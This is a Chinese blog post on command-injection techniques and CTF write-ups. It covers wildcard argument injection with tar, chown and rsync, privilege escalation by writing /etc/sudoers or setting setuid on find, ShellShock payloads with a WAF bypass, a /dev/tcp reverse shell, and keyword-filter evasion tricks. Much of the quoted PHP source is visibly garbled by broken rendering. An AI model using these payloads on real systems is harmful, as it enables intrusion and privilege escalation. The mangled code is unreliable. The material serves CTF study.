</h1>
<div class="clear"></div>
<div class="postBody">
<div id="cnblogs_post_body" class="blogpost-body blogpost-body-html">
之前在补天平台首发了巧用命令注入的N种方式,看到了有几个师傅衍生出了不同的几个后续版本,都感觉挺不错的,对我的版本进行了一些补充。本来这个总结应该算是前半部分,想写的还没写完,当时又是在考试周,原本想在考试结束后就来写后半部分,又因为各种事给推掉了。所以现在来写后半部分提升篇,也算是对前半部分的补充与解释。
提权
这里我们讲讲在命令注入中更有意思的一种方法。
Wildcard Wilderness
Example 1
首先我们先看一个示例
echo "Hello Friends" > file1
echo "This is wildcard Injection" >file2
echo "take help" > --help
首先创建几个文件,其中有一个是--help
,然后使用cat
命令读取文件内容
cat file1
cat file 2
cat --help
如果按照我们预期的,是不是在第三个cat --help
处应该是要读取—help
文件的内容呢?然而我们执行cat —help
却优先执行了cat
命令的帮助选项,并没有读出—help
里的内容。
不仅是cat
,ls
等命令也会优先调用内置--help
选项。
以及还有--all
选项。
其实讲道理,词法分析把对诸如--help
、--all
等选项优先处理为内置选项输出,看起来并没有任何问题
这个技巧叫做Wildcard wildness
,中文有人译为通配符在野。(-all
、--help
可以通过加入./
成./-all
、./--help
来特指这个文件,避免这个问题)
Example 2
如图,我们有两个文件,当用rm *
的时候,只删掉了file1
与file2
,并没有删除*
或者使用rm file1 file2 -rf
逐个删除之时,也只删掉了file1
与file2
使用strace rm *
我们可以发现
由于当前目录中存在-rf
文件名,rm
将-rf
选项作为最后一个参数,并且递归删除当前目录中的所有文件。同样,若要删除可以加上./-rf
进行删除
Trick
我们可以利用Wildcard Wilderness
做一些更有用的事情。
File Owner Hijacking
现在我们有三个用户,一个zedd
,一个test
,一个root
用户。
我们分别用zedd
与test
创建了不同的文件,1.php
与test.php
都属于test
用户的文件,zedd.php
与--reference=zedd.php
均属于zedd
用户的文件。
然后使用root
用户使用chown -R test:test *.php
命令,想把本目录下所有的.php
文件修改为test
用户所有。
但是结果我们可以发现,结果该目录下所有的.php
文件都被修改为了zedd
用户所有,成功“提权”。
原理我们可以用strace chown -R zedd:zedd *.php
来看一下(注意这里换了一下,模拟想把.php
文件改变成zedd
用户所有)
我们可以看到
execve("/bin/chown", ["chown", "-R", "zedd:zedd", "config.php", "index.php", "--reference=.backdoor.php"], 0x7ffe5b43b1e8 /* 35 vars */) = 0
跟我们上个例子原理其实一样,--reference=.backdoor.php
被作为一个选项进行了处理,而
--reference=RFILE use RFILE's owner and group rather than
specifying OWNER:GROUP values
--reference=RFILE
这个选项则是使用RFILE
的文件拥有者和用户组来改变文件属性,而不是使用传入的OWNER:GROUP
参数。
因此,在这种情况下,chown
的--reference
选项将覆盖指定为root
用户输入的参数zedd:zedd
,把此目录中所有.php
文件的所有者改变与.backdoor.php
的所有者test
。
所以,按照这种方法,我们可以劫持root
将文件的所有权更改为任意用户,并“劫持”我们想要的文件。
Chmod File Reference
类似chown
的还有一个命令chmod
,它也有--reference=RFIE
的选项
--reference=RFILE use RFILE's mode instead of MODE values
与chown
类似,因为有--reference=.backdoor.php
的存在,在使用chmod 000 *
的时候也会把劫持到与.backdoor.php
文件权限一样的权限
Tar命令利用
首先我们来看看tar
命令帮助文档中的几个有意思的选项
--checkpoint[=NUMBER]
display progress messages every NUMBERth record (default 10)
--checkpoint-action=ACTION execute ACTION on each checkpoint
从帮助文档,我们大致可以从中理解到,--checkpoint=1
可以用来显示信息,--checkpoint-action=exec=sh shell.sh
可以用来执行命令
先尝试构建一个shell.sh
脚本,内容为/usr/bin/id
,以及文件名为--checkpoint=1
与--checkpoint-action=exec=sh shell.sh
的文件,使用tar -cf test.tar *
把当前目录下所有文件压缩到test.tar
压缩包内
可见,/usr/bin/id
已经被成功执行输出。
与之前一样,--checkpoint=1
与--checkpoint-action=exec=sh shell.sh
被作为选项处理
在 2018 SWPUCTF 上有一道 web 题考点也正是利用了这个点,由于题目官方没有开源,这里给一个比较详细的 @一叶飘零 师傅写的 wp 用于参考学习: 2018SWPUCTF-Web#信息再次发掘
rsync命令利用
rsync
命令可能比较少用,我们这里简单介绍一下
NAME
rsync - a fast, versatile, remote (and local) file-copying tool
rsync
命令是一个远程数据同步工具,可通过LAN/WAN快速同步多台主机间的文件。使用一个远程shell程序(如rsh、ssh)来实现将本地机器的内容拷贝到远程机器。如:rsync -t *.c foo:src
,复制当前本地文件夹下的所有的.c
文件到 foo 远程服务器的/src
文件夹下。
rsync
帮助文档含有以下几个比较有意思的选项
-e, --rsh=COMMAND specify the remote shell to use
--rsync-path=PROGRAM specify the rsync to run on remote machine
--rsh=COMMAND
又是一个我们可以利用的地方,我们首先创建一个文件名为-e sh shell.c
的文件,然后再创建一个shell.c
文件,污染rsync
参数来实现执行我们在shell.c
中写入的预期命令
假设当前目录下我们拥有一个只有root
用户可读的rootfile
文件,由于不能直接输出结果,我们可以构造cat ./rootfile > ./output
,将文件内容读出。
得到的output
文件是 644 的权限,这样我们就成功构造了一个提权读取的文件的 payload ,这里可能需要注意的是,只能提取到执行rsync
用户的权限,不是直接的root
权限,这里因为执行命令的是root
权限,所以能读取只有root
用户才能读取的rootfile
文件
Tips
-
既然能执行命令,其实我们可以参照上篇列举的反弹 shell 的方式将 shell 反弹给我们,也可以配合
msfvenom
来使用。 -
tar
命令比较多的都用在/etc/crontab
计划任务中,经常会有管理员会用crontab
来执行一些tar
命令的备份操作,而且crontab
执行的权限还是root
权限,所以这是个很好利用的点 -
tar
命令需要进入到--checkpoint=1
文件所在的目录内,如果加上绝对路径将会失效,例如tar cf test.tar /var/www/html/*
我们可以看到 shell 处理方式将
/home/zedd/Desktop/test
与目录下的文件名逐个拼接起来,就达不到污染参数的效果了 -
还可以用
echo "zedd ALL=(root) NOPASSWD: ALL" > /etc/sudoers
,把自己直接写入管理员组 -
利用
chmod u+s /usr/bin/find
提升为root
权限执行,配合find
命令的-exec COMMAND
来执行命令,例如find f1 -exec "whoami" \;
文章中讨论的技术可以以不同的形式在各种流行的Unix工具上应用,这里仅仅是抛砖引玉,列举一部分命令。 在实际攻击中,任意 shell 选项/参数都可以隐藏在常规文件中,管理员也不容易发现,比如使用.backdoor.php
等形式。
Other
这里讲讲几个虽然不属于提权,但是也比较有意思的几个点。
Echo
echo *
可以用来显示目录,echo /???g
可以用来探测文件
ln
NAME
ln - make links between files
ln
命令常常用于链接两个文件,而且分两种链接模式,一种硬链接一种软链接,详细可以参考理解Linux硬链接与软链接。这里主要讲讲软链接,软链接相当于我们 Windows 中的快捷方式,可以使用ln -s
创建
例如,这里我们根目录下有一个文件内容为flag{xxx}
的名为flag
文件,我们使用ln -s /flag file
,在当前目录下创建一个file
文件链接到/flag
,使用cat file
与php -r "echo file_get_contents('file')"
均可以读取到/flag
的内容。
这个软链接读取文件内容已经被多次利用
- 在 GitLab CVE-2016-9086 也是利用了这点,参考GitLab 任意文件读取漏洞 (CVE-2016-9086) 和任意用户 token 泄露漏洞
- CTF 中也出现了类似的题目,参考一个有趣的任意文件读取,以及在 2018 年赛博地球杯上有一道题也是利用这个点,参考记录一道题的多种解法,“赛博地球杯”工业互联网安全大赛线上赛Writeup
ShellShock(CVE-2014-6271)
Bash 4.3以及之前的版本在处理某些构造的环境变量时存在安全漏洞,向环境变量值内的函数定义后添加多余的字符串会触发此漏洞,攻击者可利用此漏洞改变或绕过环境限制,以执行任意的 shell 命令,甚至完全控制目标系统,详细分析参考破壳(ShellShock)漏洞样本分析报告
CVE-2014-6271 测试方式:
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
CVE-2014-7169 测试方式:(CVE-2014-6271补丁更新后仍然可以绕过)
env -i X=';() { (a)=>\' bash -c 'echo date'; cat echo
从一道题看Shell Shock
题目地址:command-executor——来源于 HackMe
题目描述:
Here's my useless developer assistant website, try to execute your own command!
题目大体思路是:
- 读取源码
- Shell Shock命令执行
- 重定向读写文件
题目设置为几个功能,一个man
命令的帮助文档
选择了ls
,多了个请求参数file=ls
尝试用其他命令,比如find
猜测eval("man /bin/" + command)
或者一些其他的目录
Tar Tester
界面可以上传压缩包但是并没有解压,只是tar -tvf test.tar
查看压缩包内的内容
Cmd Exec
界面只有两个命令,一个ls
,一个env
List files
是个目录列举界面,可以列举几个目录
观察题目,题目 urlhttps://command-executor.hackme.inndy.tw/index.php?func=untar
等均带有func=xxx
参数来展示页面,猜测会有文件包含漏洞,尝试使用func=php://filter/read=convert.base64-encode/resource=index
读取文件内容,成功得到回显
解码得到 index.php
源码
<?php
$pages = [
['man', 'Man'],
['untar', 'Tar Tester'],
['cmd', 'Cmd Exec'],
['ls', 'List files'],
];
function fuck($msg) {
header(‘Content-Type: text/plain’);
echo $msg;
exit;
}
$black_list = [
‘/flag’, ‘()\s*{\s*:;\s*};’
];
function waf($a) {
global
b
l
a
c
k
l
i
s
t
;
<
s
p
a
n
c
l
a
s
s
=
"
h
l
j
s
−
k
e
y
w
o
r
d
"
>
i
f
<
/
s
p
a
n
>
(
i
s
a
r
r
a
y
(
black_list; <span class="hljs-keyword">if</span>(is_array(
blacklist;<spanclass="hljs−keyword">if</span>(isarray(a)) {
foreach($a as $key => KaTeX parse error: Expected '}', got 'EOF' at end of input: … waf(key);
waf(KaTeX parse error: Expected 'EOF', got '}' at position 15: val); }̲ } <span cl…black_list as KaTeX parse error: Expected '}', got 'EOF' at end of input: …s="hljs-subst">b/", KaTeX parse error: Expected '}', got 'EOF' at end of input: …s="hljs-subst">b detected! exit now.");
}
}
}
}
waf(
S
E
R
V
E
R
)
;
w
a
f
(
_SERVER); waf(
SERVER);waf(_GET);
waf($_POST);
function execute($cmd, $shell=‘bash’) {
system(sprintf(’%s -c %s’,
s
h
e
l
l
,
e
s
c
a
p
e
s
h
e
l
l
a
r
g
(
shell, escapeshellarg(
shell,escapeshellarg(cmd)));
}
foreach($SERVER as $key => KaTeX parse error: Expected '}', got 'EOF' at end of input: …</span>(substr(key, 0, 5) === 'HTTP’) {
putenv(“
k
e
y
<
/
s
p
a
n
>
=
<
s
p
a
n
c
l
a
s
s
=
"
h
l
j
s
−
s
u
b
s
t
"
>
key</span>=<span class="hljs-subst">
key</span>=<spanclass="hljs−subst">val”);
}
}
$page = ‘’;
if(isset($_GET[‘func’])) {
$page =
G
E
T
[
<
s
p
a
n
c
l
a
s
s
=
"
h
l
j
s
−
s
t
r
i
n
g
"
>
′
f
u
n
c
′
<
/
s
p
a
n
>
]
;
<
s
p
a
n
c
l
a
s
s
=
"
h
l
j
s
−
k
e
y
w
o
r
d
"
>
i
f
<
/
s
p
a
n
>
(
s
t
r
s
t
r
(
_GET[<span class="hljs-string">'func'</span>]; <span class="hljs-keyword">if</span>(strstr(
GET[<spanclass="hljs−string">′func′</span>];<spanclass="hljs−keyword">if</span>(strstr(page, ‘…’) !== false) {
$page = ‘’;
}
}
if(KaTeX parse error: Expected 'EOF', got '&' at position 6: page &̲amp;& strle…page) > 0) {
try {
include("$page.php");
} catch (Exception $e) {
}
}
function render_default() {
<p>Welcome to use our developer assistant service. We provide servial useless features to make your developing life harder.</p>
<img src=“windows-run.jpg” alt=“command executor”>
}
<html lang=“en”>
<head>
<meta charset=“UTF-8”>
<title>Command Executor</title>
<link rel=“stylesheet” href=“bootstrap/css/bootstrap.min.css” media=“all”>
<link rel=“stylesheet” href=“comic-neue/font.css” media=“all”>
<style>
nav { margin-bottom: 1rem; }
img { max-width: 100%; }
</style>
</head>
<body>
<nav class=“navbar navbar-expand-lg navbar-dark bg-dark d-flex”>
<a class=“navbar-brand” href=“index.php”>Command Executor</a>
<span class="hljs-tag"><<span class="hljs-name">ul</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"navbar-nav"</span>></span>
foreach(
p
a
g
e
s
<
s
p
a
n
c
l
a
s
s
=
"
h
l
j
s
−
k
e
y
w
o
r
d
"
>
a
s
<
/
s
p
a
n
>
<
s
p
a
n
c
l
a
s
s
=
"
h
l
j
s
−
k
e
y
w
o
r
d
"
>
l
i
s
t
<
/
s
p
a
n
>
(
pages <span class="hljs-keyword">as</span> <span class="hljs-keyword">list</span>(
pages<spanclass="hljs−keyword">as</span><spanclass="hljs−keyword">list</span>(file, KaTeX parse error: Expected 'EOF', got '&' at position 35: …s="hljs-meta">?&̲gt;</span></spa…file "> $title</a>
</li>
endforeach;
</ul>
</nav>
<span class="hljs-tag"><<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"container"</span>></span></span><span class="php"><span class="hljs-meta"><?php</span> <span class="hljs-keyword">if</span>(is_callable(<span class="hljs-string">'render'</span>)) render(); <span class="hljs-keyword">else</span> render_default(); <span class="hljs-meta">?></span></span><span class="xml"><span class="hljs-tag"></<span class="hljs-name">div</span>></span>
</body>
</html>
man.php
源码:
<?php
function render() {
$file = 'man'; if(isset($_GET['file'])) { $file = (string)$_GET['file']; if(preg_match('/^[\w\-]+$/', $file) !== 1) { echo '<pre>Invalid file name!</pre>'; return; } } <span class="k">echo <span class="s1">'<h1>Online documents</h1>'<span class="p">;
<span class="nv">$cmds <span class="o">= <span class="p">[
<span class="s1">'bash'<span class="p">, <span class="s1">'ls'<span class="p">, <span class="s1">'cp'<span class="p">, <span class="s1">'mv'
<span class="p">];
<span class="k">echo <span class="s1">'<ul>'<span class="p">;
<span class="k">foreach<span class="p">(<span class="nv">$cmds <span class="k">as <span class="nv">$cmd<span class="p">) <span class="p">{
<span class="nb">printf<span class="p">(<span class="s1">'<li><a href="index.php?func=man&file=%s">%1$s</a></li>'<span class="p">, <span class="nv">$cmd<span class="p">);
<span class="p">}
<span class="k">echo <span class="s1">'</ul>'<span class="p">;
<span class="nb">printf<span class="p">(<span class="s1">'<h2>$ man %s</h2>'<span class="p">, <span class="nb">htmlentities<span class="p">(<span class="nv">$file<span class="p">));
<span class="k">echo <span class="s1">'<pre>'<span class="p">;
<span class="nx">execute<span class="p">(<span class="nb">sprintf<span class="p">(<span class="s1">'man %s | cat'<span class="p">, <span class="nb">escapeshellarg<span class="p">(<span class="nv">$file<span class="p">)));
<span class="k">echo <span class="s1">'</pre>'<span class="p">;
}
?>
untar.php
源码:
<?php
function render() {
?> <h1>Tar file tester</h1>
<p>Please upload a tar file to test</p>
<form enctype=“multipart/form-data” action=“index.php?func=untar” method=“POST”>
<input type=“file” name=“tarfile” id=“tarfile”>
<input class=“btn btn-primary” type=“submit” value=“Upload & Test”>
</form>
<?php
<span class="k">if<span class="p">(<span class="nb">isset<span class="p">(<span class="nv">$_FILES<span class="p">[<span class="s1">'tarfile'<span class="p">])) <span class="p">{
<span class="nb">printf<span class="p">(<span class="s1">'<h2>$ tar -tvf %s</h2>'<span class="p">, <span class="nb">htmlentities<span class="p">(<span class="nv">$_FILES<span class="p">[<span class="s1">'tarfile'<span class="p">][<span class="s1">'name'<span class="p">]));
<span class="k">echo <span class="s1">'<pre>'<span class="p">;
<span class="nx">execute<span class="p">(<span class="nb">sprintf<span class="p">(<span class="s1">'tar -tvf %s 2>&1'<span class="p">, <span class="nb">escapeshellarg<span class="p">(<span class="nv">$_FILES<span class="p">[<span class="s1">'tarfile'<span class="p">][<span class="s1">'tmp_name'<span class="p">])));
<span class="k">echo <span class="s1">'</pre>'<span class="p">;
<span class="p">}
}
?>
ls.php
源码:
<?php
function render() {
$file = '.'; if(isset($_GET['file'])) { $file = (string)$_GET['file']; } <span class="k">echo <span class="s1">'<h1>Dictionary Traversal</h1>'<span class="p">;
<span class="k">echo <span class="s1">'<ul>'<span class="p">;
<span class="nv">$dirs <span class="o">= <span class="p">[<span class="s1">'.'<span class="p">, <span class="s1">'..'<span class="p">, <span class="s1">'../..'<span class="p">, <span class="s1">'/etc/passwd'<span class="p">];
<span class="k">foreach<span class="p">(<span class="nv">$dirs <span class="k">as <span class="nv">$dir<span class="p">) <span class="p">{
<span class="nb">printf<span class="p">(<span class="s1">'<li><a href="index.php?func=ls&file=%s">%1$s</a></li>'<span class="p">, <span class="nv">$dir<span class="p">);
<span class="p">}
<span class="k">echo <span class="s1">'</ul>'<span class="p">;
<span class="nb">printf<span class="p">(<span class="s1">'<h2>$ ls %s</h2>'<span class="p">, <span class="nb">htmlentities<span class="p">(<span class="nv">$file<span class="p">));
<span class="k">echo <span class="s1">'<pre>'<span class="p">;
<span class="nx">execute<span class="p">(<span class="nb">sprintf<span class="p">(<span class="s1">'ls -l %s'<span class="p">, <span class="nb">escapeshellarg<span class="p">(<span class="nv">$file<span class="p">)));
<span class="k">echo <span class="s1">'</pre>'<span class="p">;
}
?>
cmd.php
源码:
<?php
function render() {
$cmd = ''; if(isset($_GET['cmd'])) { $cmd = (string)$_GET['cmd']; } ?> <h1>Command Execution</h1> <?php echo '<ul>'; $cmds = ['ls', 'env']; foreach($cmds as $c) { printf('<li><a href="index.php?func=cmd&cmd=%s">%1$s</a></li>', $c); } echo '</ul>'; ?>
<form action=“index.php” method=“GET”>
<input type=“hidden” name=“func” value=“cmd”>
<div class=“input-group”>
<input class=“form-control” type=“text” name=“cmd” id=“cmd”>
<div class=“input-group-append”>
<input class=“btn btn-primary” type=“submit” value=“Execute”>
</div>
</div>
</form>
<script>cmd.focus();</script>
<?php
<span class="k">if<span class="p">(<span class="nb">strlen<span class="p">(<span class="nv">$cmd<span class="p">) <span class="o">> <span class="mi">0<span class="p">) <span class="p">{
<span class="nb">printf<span class="p">(<span class="s1">'<h2>$ %s</h2>'<span class="p">, <span class="nb">htmlentities<span class="p">(<span class="nv">$cmd<span class="p">));
<span class="k">echo <span class="s1">'<pre>'<span class="p">;
<span class="k">switch <span class="p">(<span class="nv">$cmd<span class="p">) <span class="p">{
<span class="k">case <span class="s1">'env'<span class="o">:
<span class="k">case <span class="s1">'ls'<span class="o">:
<span class="k">case <span class="s1">'ls -l'<span class="o">:
<span class="k">case <span class="s1">'ls -al'<span class="o">:
<span class="nx">execute<span class="p">(<span class="nv">$cmd<span class="p">);
<span class="k">break<span class="p">;
<span class="k">case <span class="s1">'cat flag'<span class="o">:
<span class="k">echo <span class="s1">'<img src="cat-flag.png" alt="cat flag">'<span class="p">;
<span class="k">break<span class="p">;
<span class="k">default<span class="o">:
<span class="nb">printf<span class="p">(<span class="s1">'%s: command not found'<span class="p">, <span class="nb">htmlentities<span class="p">(<span class="nv">$cmd<span class="p">));
<span class="p">}
<span class="k">echo <span class="s1">'</pre>'<span class="p">;
<span class="p">}
}
?>
接下来我们就可以利用ls.php
来找flag
了,因为ls.php
没什么过滤,所以用func=ls&file=../../../
可以发现根目录下的文件
接下来就是考虑怎么去读了,man.php
因为有preg_match('/^[\w\-]+$/', $file) !== 1
限制得比较死,untar.php
貌似只有tar -tvf
并没有什么用处,只有cmd.php
给出了一个比较不太寻常的env
这个命令,其实这样也算是提示得比较明显了,比较容易让人想到也可以比较容易搜到ShellShock
漏洞,并且在index.php
中发现有
$black_list = [
'\/flag', '\(\)\s*\{\s*:;\s*\};'
];
function waf($a) {
global
b
l
a
c
k
l
i
s
t
;
<
s
p
a
n
c
l
a
s
s
=
"
x
"
>
i
f
(
i
s
a
r
r
a
y
(
black_list; <span class="x"> if(is_array(
blacklist;<spanclass="x">if(isarray(a)) {
foreach($a as $key => KaTeX parse error: Expected '}', got 'EOF' at end of input: … waf(key);
waf(KaTeX parse error: Expected 'EOF', got '}' at position 31: …ss="x"> }̲ <span class="x…black_list as KaTeX parse error: Expected '}', got 'EOF' at end of input: …f(preg_match("/b/", KaTeX parse error: Expected '}', got 'EOF' at end of input: … fuck("b detected! exit now.");
}
}
}
}
waf(
S
E
R
V
E
R
)
;
<
s
p
a
n
c
l
a
s
s
=
"
x
"
>
w
a
f
(
_SERVER); <span class="x">waf(
SERVER);<spanclass="x">waf(_GET);
waf($_POST);
foreach($SERVER as $key => KaTeX parse error: Expected '}', got 'EOF' at end of input: …> if(substr(key, 0, 5) === 'HTTP’) {
putenv(“
k
e
y
=
key=
key=val”);
}
}
关键就在putenv
函数,由于ShellShock
漏洞 padyload 需要参数
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
我们就可以利用putenv
实现参数传递,直接设置User-agent: () { :;}; echo 222222
,发现被 waf
分析 waf 结合漏洞成因,我们可以在最后的};
中间添加一个空格绕过,设置User-Agent: () { :;} ; echo 222222
,成功发现输出 22222 ,我们也可以使用() { _; } >_[$($())] { whoami; }
这个 payload
发现当前用户为www-data
,而我们之前发现根目录flag
的权限为-r-------- 1 flag root 37 Jan 9 2018 flag
,所以不能直接读取,但是有一个flag-reader
与flag-reader.c
的文件,这应该是题目提示了。因为index.php
又把flag
关键字屏蔽了,我们也不能直接读取flag-reader.c
,但是我们这里可以利用通配符读取,例如使用fla*.c
使用() { _; } >_[$($())] { cat /fla*.c; }
得到flag-reader.c
源码
Flag-reader.c:
#include <unistd.h>
#include <syscall.h> #include <fcntl.h> #include <string.h>
int main(int argc, char *argv[])
{
char buff[4096], rnd[16], val[16];
if(syscall(SYS_getrandom, &rnd, sizeof(rnd), 0) != sizeof(rnd)) {
write(1, “Not enough random\n”, 18);
}
<span class="n">setuid<span class="p">(<span class="mi">1337<span class="p">);
<span class="n">seteuid<span class="p">(<span class="mi">1337<span class="p">);
<span class="n">alarm<span class="p">(<span class="mi">1<span class="p">);
<span class="n">write<span class="p">(<span class="mi">1<span class="p">, <span class="o">&<span class="n">rnd<span class="p">, <span class="k">sizeof<span class="p">(<span class="n">rnd<span class="p">));
<span class="n">read<span class="p">(<span class="mi">0<span class="p">, <span class="o">&<span class="n">val<span class="p">, <span class="k">sizeof<span class="p">(<span class="n">val<span class="p">));
<span class="k">if<span class="p">(<span class="n">memcmp<span class="p">(<span class="n">rnd<span class="p">, <span class="n">val<span class="p">, <span class="k">sizeof<span class="p">(<span class="n">rnd<span class="p">)) <span class="o">== <span class="mi">0<span class="p">) <span class="p">{
<span class="kt">int <span class="n">fd <span class="o">= <span class="n">open<span class="p">(<span class="n">argv<span class="p">[<span class="mi">1<span class="p">], <span class="n">O_RDONLY<span class="p">);
<span class="k">if<span class="p">(<span class="n">fd <span class="o">> <span class="mi">0<span class="p">) <span class="p">{
<span class="kt">int <span class="n">s <span class="o">= <span class="n">read<span class="p">(<span class="n">fd<span class="p">, <span class="n">buff<span class="p">, <span class="mi">1024<span class="p">);
<span class="k">if<span class="p">(<span class="n">s <span class="o">> <span class="mi">0<span class="p">) <span class="p">{
<span class="n">write<span class="p">(<span class="mi">1<span class="p">, <span class="n">buff<span class="p">, <span class="n">s<span class="p">);
<span class="p">}
<span class="n">close<span class="p">(<span class="n">fd<span class="p">);
<span class="p">} <span class="k">else <span class="p">{
<span class="n">write<span class="p">(<span class="mi">1<span class="p">, <span class="s">"Can not open file<span class="se">\n<span class="s">"<span class="p">, <span class="mi">18<span class="p">);
<span class="p">}
<span class="p">} <span class="k">else <span class="p">{
<span class="n">write<span class="p">(<span class="mi">1<span class="p">, <span class="s">"Wrong response<span class="se">\n<span class="s">"<span class="p">, <span class="mi">16<span class="p">);
<span class="p">}
}
使用bash -c "sh >& /dev/tcp/your ip/port 0>&1"
直接反弹 shell
运行flag-reader
审计一下这段代码,大致是输出一串随机数,然后在1s之内又要输入进去,否则就write(1, "Wrong response\n", 16);
...
然而我在回弹 shell 之后,利用/tmp
可写的权限,貌似有点小问题,一旦cat /tmp/zedd
,链接就断掉了,无奈只能找其他文件夹,发现/run/lock
与/var/tmp
均可读可写,使用/flag-reader flag > /run/lock/zedd < /run/lock/zedd
写入 flag
反弹 shell 使用cat
非常容易断掉,最好使用执行的方式,最后得到 flag
上篇的解释与补充
特殊变量
这里再对上篇进行一定的补充与解释。
$n
变量 | 含义 |
---|---|
$0 | 当前脚本的文件名 |
$n | 传递给脚本或函数的参数。n 是一个数字,表示第几个参数。例如,第二个参数是$2(0<n<9) |
${n} | 9<n时需要加上大括号 |
例如,脚本文件如下
#!/bin/bash
echo “File Name: $0”
echo “First Parameter : $1”
echo “First Parameter : $2”
执行脚本文件
$ ./test.sh Hello Zedd
File Name: ./test.sh
First Parameter : Hello
Second Parameter : Zedd
而当没有参数的时候,$n
就为空,所以我们可以用cat /fl$1ag
这样绕过关键字过滤,并且在 bash 环境下
$ echo $0
bash
所以我们可以使用这样的 payload ,可以用在 bash 这个关键字过滤但是有需要用到 bash 的情况下,前提是环境用的是 bash
$ {printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|$0
flag{xxx}
$IFS
IFS(Internal Field Seprator) ,内部域分隔符,Shell 的环境变量分为 set, env 两种,其中 set 变量可以通过 export 工具导入到 env 变量中。其中,set 是显示设置shell变量,仅在本 shell 中有效;env 是显示设置用户环境变量 ,仅在当前会话中有效。换句话说,set 变量里包含了 env 变量,但 set 变量不一定都是 env 变量。这两种变量不同之处在于变量的作用域不同。显然,env 变量的作用域要大些,它可以在 subshell 中使用。
而 IFS 是一种 set 变量,当 shell 处理"命令替换"和"参数替换"时,shell 根据 IFS 的值,默认是 space, tab, newline 来拆解读入的变量,然后对特殊字符进行处理,最后重新组合赋值给该变量。
$ echo $IFS
$ echo “$IFS” | od -b
0000000 040 011 012 012
0000004
我们可以看到直接输出IFS是看不到的,把它转化为二进制就可以看到了,"040"是空格,"011"是Tab,"012"是换行符"\n" 。最后一个 012 是因为 echo 默认是会换行的。
$?
上个命令的退出状态,或函数的返回值。退出状态是一个数字,一般情况下,大部分命令执行成功会返回0,失败返回1。不过,也有一些命令返回其他值,表示不同类型的错误。
$
当前 Shell 进程 ID。对于 Shell 脚本,就是这些脚本所在的进程 ID。
$ echo $$
75576
$
传递给脚本或函数的参数个数。
脚本文件内容:
#!/bin/bash
echo “Total Number of Parameters : $#”
执行命令
$ ./test.sh Hello Zedd
Total Number of Parameters : 2
\$*与\$@
都是传递给脚本或函数的所有参数。
脚本文件内容:
#!/bin/bash
echo “Quoted Values:
@
<
s
p
a
n
c
l
a
s
s
=
"
s
2
"
>
"
<
s
p
a
n
c
l
a
s
s
=
"
n
b
"
>
e
c
h
o
<
s
p
a
n
c
l
a
s
s
=
"
s
2
"
>
"
Q
u
o
t
e
d
V
a
l
u
e
s
:
<
s
p
a
n
c
l
a
s
s
=
"
n
v
"
>
@<span class="s2">" <span class="nb">echo <span class="s2">"Quoted Values: <span class="nv">
@<spanclass="s2">"<spanclass="nb">echo<spanclass="s2">"QuotedValues:<spanclass="nv">*”
执行命令:
$ ./test.sh Hello Zedd
Quoted Values: Hello Zedd
Quoted Values: Hello Zedd
它们不被双引号(" ")包含时,都以"1""2" … "$n" 的形式输出所有参数。
但是当它们被双引号(" ")包含时,"∗"会将所有的参数作为一个整体,以"1 2…n"的形式输出所有参数;"@"会将各个参数分开,以"1" "2"…"n" 的形式输出所有参数。
内置变量绕过
上篇其实提到了一点内置变量绕过,但是讲的也不并不多,只是大概提了一下。这里再给一些常用的 bash 内置的环境变量
$BASH
$ echo $BASH
/usr/local/bin/bash
返回 bash 二进制文件的路径
$HOME
$ $HOME
bash: /Users/zedd: Is a directory
返回当前用户所属目录
$PWD
$ echo $PWD
/
显示当前目录
$OLDPWD
$ echo $OLDPWD
/Users/zedd/Desktop/
返回上次所在目录
$PATH
$ echo $PATH
/bin:/usr/bin:/usr/local/bin:/usr/X11R6/bin:/sbin:/usr/sbin
环境变量$PATH
$PS1
$ echo $PS1
\s-\v\$
看到的命令行主要提示
$PS2
$ echo $PS2
>
额外输入的辅助提示,表示为>
,$PS3
是 Shell 脚本中使用select
时的提示符,显示为空,这里就不再单独列举了
$PS4
$ echo $PS4
+
与set -x
配合用来修改跟踪输出的前缀,显示为+
举个例子
Layer7 CTF 2018
可以访问https://cat.canhack.me/这个在线地址
题目描述
This service provides read the file.
https://cat.canhack.me/
This challenge was published in the Layer7 CTF in 2018.
WriteUp
点进去发现有
<b>Usage</b>: Please enter the parameter like as in <a href="/?file=test.txt">this</a>.
跟进得到test.txt
的内容
猜测为文件包含,尝试直接读取flag
被waf
,直接读取https://cat.canhack.me/?file=index.php
<?php
error_reporting(0);
<span class="k">require <span class="no">__DIR__<span class="o">.<span class="s1">'/flag-f72a161d445915d2bdcdc820c4143353.php'<span class="p">;
<span class="k">if<span class="p">(<span class="nb">isset<span class="p">(<span class="nv">$_GET<span class="p">[<span class="s1">'file'<span class="p">])){
<span class="k">if<span class="p">(<span class="nb">preg_match<span class="p">(<span class="s1">'/flag|\'|\"|`|\\\\|;|\(|\)|\*|\?|\.\.|\//i'<span class="p">, <span class="nv">$_GET<span class="p">[<span class="s1">'file'<span class="p">])){
<span class="k">die<span class="p">(<span class="s1">'no hack'<span class="p">);
<span class="p">}
<span class="nb">system<span class="p">(<span class="s1">'cat "'<span class="o">.<span class="nv">$_GET<span class="p">[<span class="s1">'file'<span class="p">]<span class="o">.<span class="s1">'"'<span class="p">);
<span class="p">}<span class="k">else<span class="p">{
<span class="k">echo <span class="s1">'<b>Usage</b>: Please enter the parameter like as in <a href="/?file=test.txt">this</a>.'<span class="p">;
<span class="p">}
还剩下{}
、<>
、[]
、+-=
、^
、$
、@
、!
、&
,是个关键字绕过,有$
,我们很快可以联想到可以用$n
这种方式绕过,最终 payload
https://cat.canhack.me/?file=fl$1ag-f72a161d445915d2bdcdc820c4143353.php
参考:
<div id="blog_post_info">
<div class="clear"></div>
<div id="post_next_prev"></div>
</div>